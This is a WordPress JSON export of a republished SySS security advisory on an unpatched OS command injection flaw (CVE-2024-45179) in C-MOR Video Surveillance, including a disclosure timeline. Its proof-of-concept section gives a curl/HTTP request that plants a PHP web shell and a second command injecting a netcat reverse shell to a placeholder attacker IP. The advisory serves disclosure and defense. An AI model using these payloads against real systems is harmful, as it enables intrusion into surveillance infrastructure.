{"id":59505,"date":"2024-09-06T19:39:41","date_gmt":"2024-09-06T16:39:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181385\/SYSS-2024-030.txt"},"modified":"2024-09-06T19:39:41","modified_gmt":"2024-09-06T16:39:41","slug":"c-mor-video-surveillance-5-2401-6-00pl01-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/c-mor-video-surveillance-5-2401-6-00pl01-command-injection\/","title":{"rendered":"C-MOR Video Surveillance 5.2401 \/ 6.00PL01 Command Injection"},"content":{"rendered":"<p>Advisory ID: SYSS-2024-030<br \/>Product: C-MOR Video Surveillance<br \/>Manufacturer: za-internet GmbH<br \/>Affected Version(s): 5.2401, 6.00PL01<br \/>Tested Version(s): 5.2401, 6.00PL01<br \/>Vulnerability Type: OS Command Injection (CWE-78)<br \/>Risk Level: High<br \/>Solution Status: Open<br \/>Manufacturer Notification: 2024-04-05<br \/>Solution Date: &#8211;<br \/>Public Disclosure: 2024-09-04<br \/>CVE Reference: CVE-2024-45179<br \/>Authors of Advisory: Matthias Deeg (SySS GmbH), Chris Beiter,<br \/>Frederik Beimgraben,<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The software product C-MOR is an IP video surveillance system.<\/p>\n<p>The manufacturer describes the product as follows:<\/p>\n<p>&#8220;With C-MOR video surveillance, it is possible to check your<br \/>surveillance over network and the Internet. You can access the live<br \/>view as well as previous recordings from any PC or mobile device.<br \/>C-MOR is managed and controlled over the C-MOR web interface.<br \/>IP settings, camera recording setup, user rights and so on are set<br \/>over the web without the installation of any software on the<br \/>client.&#8221;[1]<\/p>\n<p>Due to insufficient input validation, the C-MOR web interface is<br \/>vulnerable to OS command injection attacks.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>By analyzing the C-MOR web interface, it was found that different<br \/>functionality is vulnerable to OS command injection attacks, for<br \/>example for generating new X.509 certificates or setting the time zone.<\/p>\n<p>The OS command injection vulnerability in the script &#8220;generatesslreq.pml&#8221;<br \/>can be exploited as a low-privileged authenticated user (see <br \/>SYSS-2024-024[3])<br \/>in order to execute commands in the context of the Linux user &#8220;www-data&#8221;.<\/p>\n<p>The OS command injection vulnerability in the script &#8220;settimezone.pml&#8221;<br \/>requires an administrative user for the C-MOR web interface.<\/p>\n<p>By also exploiting the privilege escalation vulnerability described in<br \/>SYSS-2024-027[4], it is possible to execute commands on the C-MOR system<br \/>with root privileges.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>By sending the following HTTP POST request to the script<br \/>&#8220;generatesslreq.pml&#8221;, the injected OS command via the parameter<br \/>&#8220;city&#8221; is executed as Linux user &#8220;www-data&#8221;.<\/p>\n<p>In this sample attack vector, a simple PHP web shell is created in<br \/>the backup directory within the web server&#8217;s webroot:<\/p>\n<p>POST \/generatesslreq.pml HTTP\/1.1<br \/>Host: &lt;HOST&gt;<br \/>Authorization: Basic &lt;CREDENTIALS&gt;<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 152<br \/>Connection: close<\/p>\n<p>countrycode=de&amp;state=state&amp;city=city&#8217;|echo &#8216;&lt;?php echo <br \/>system($_GET[&#8220;cmd&#8221;]);?&gt;&#8217; &gt; \/srv\/www\/htdocs\/backup\/webshell.php <br \/>#&amp;organization=org&amp;servername=syss<\/p>\n<p>This PoC attack can be performed using the following curl command:<\/p>\n<p>curl -X POST -d &#8220;countrycode=de&amp;state=state&amp;city=city&#8217;|echo &#8216;&lt;?php echo <br \/>system($_GET[&#8220;cmd&#8221;]);?&gt;&#8217; &gt; \/srv\/www\/htdocs\/backup\/webshell.php <br \/>#&amp;organization=org&amp;servername=syss&#8221; &#8211;user &#8220;&lt;USERNAME&gt;:&lt;PASSWORD&gt;&#8221; <br \/>&#8211;ciphers &#8220;DEFAULT:!DH&#8221; https:\/\/&lt;HOST&gt;\/generatesslreq.pml<\/p>\n<p>The uploaded web shell can be used via the following URL:<\/p>\n<p>https:\/\/&lt;HOST&gt;\/backup\/web shell.php?cmd=&lt;COMMAND&gt;<\/p>\n<p>In version 6.00PL01, an OS command injection was, for instance, possible<br \/>using the following attack vector:<\/p>\n<p>curl -X POST \\<br \/>-d <br \/>&#8216;hour=00&amp;min=34&amp;sec=27&amp;day=06&amp;month=06&amp;year=2024+%26%26+nc+&lt;ATTACKERIP&gt;+&lt;ATTACKER-PORT&gt;+-e+\/bin\/bash+%26&#8217; <br \/>\\<br \/>&#8211;user &#8220;&lt;USERNAME&gt;:&lt;PASSWORD&gt;&#8221; \\<br \/>&#8211;insecure \\<br \/>&#8211;ciphers &#8216;DEFAULT:!DH&#8217; \\<br \/>https:\/\/&lt;HOST&gt;\/en\/setdatetime.pml<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>The described security vulnerability has not been fixed entirely in the <br \/>newly<br \/>released software version 6.00PL01.<\/p>\n<p>There is no fix for this security issue.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-04-05: Vulnerability reported to manufacturer<br \/>2024-04-05: Manufacturer acknowledges receipt of security advisories<br \/>2024-04-08: Exchange regarding security updates and disclosure timeline<br \/>2024-05-08: Further exchange concerning security updates and disclosure<br \/>timeline; public release of all security advisories<br \/>scheduled for release of C-MOR Video Surveillance version 6<br \/>2024-05-10: Release of C-MOR software version 5.30 with security updates<br \/>for some reported security issues<br \/>2024-07-19: E-mail to manufacturer concerning release date of C-MOR<br \/>Video Surveillance version 6; response with planned<br \/>release date of 2024-08-01<br \/>2024-07-30: E-mail from manufacturer with further information<br \/>concerning security fixes<br \/>2024-07-31: Release of C-MOR software version 6.00PL1<br \/>2024-09-04: Public release of security advisory<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n<p>[1] Product website for C-MOR Video Surveillance<br \/>https:\/\/www.c-mor.com\/<br \/>[2] SySS Security Advisory SYSS-2024-030<\/p>\n<p>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-030.txt<br \/>[3] SySS Security Advisory SYSS-2024-024<\/p>\n<p>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-024.txt<br \/>[4] SySS Security Advisory SYSS-2024-027<\/p>\n<p>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-027.txt<br \/>[5] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Chris Beiter, Frederik<br \/>Beimgraben, and Matthias Deeg.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS Web<br \/>site.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL: http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Advisory ID: SYSS-2024-030Product: C-MOR Video SurveillanceManufacturer: za-internet GmbHAffected Version(s): 5.2401, 6.00PL01Tested Version(s): 5.2401, 6.00PL01Vulnerability Type: OS Command Injection (CWE-78)Risk Level: HighSolution Status: OpenManufacturer Notification: 2024-04-05Solution Date: &#8211;Public Disclosure: 2024-09-04CVE Reference: CVE-2024-45179Authors of Advisory: Matthias Deeg (SySS GmbH), Chris Beiter,Frederik Beimgraben, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The software product C-MOR is an IP video surveillance system. The manufacturer describes [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59505","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59505","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59505"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59505\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}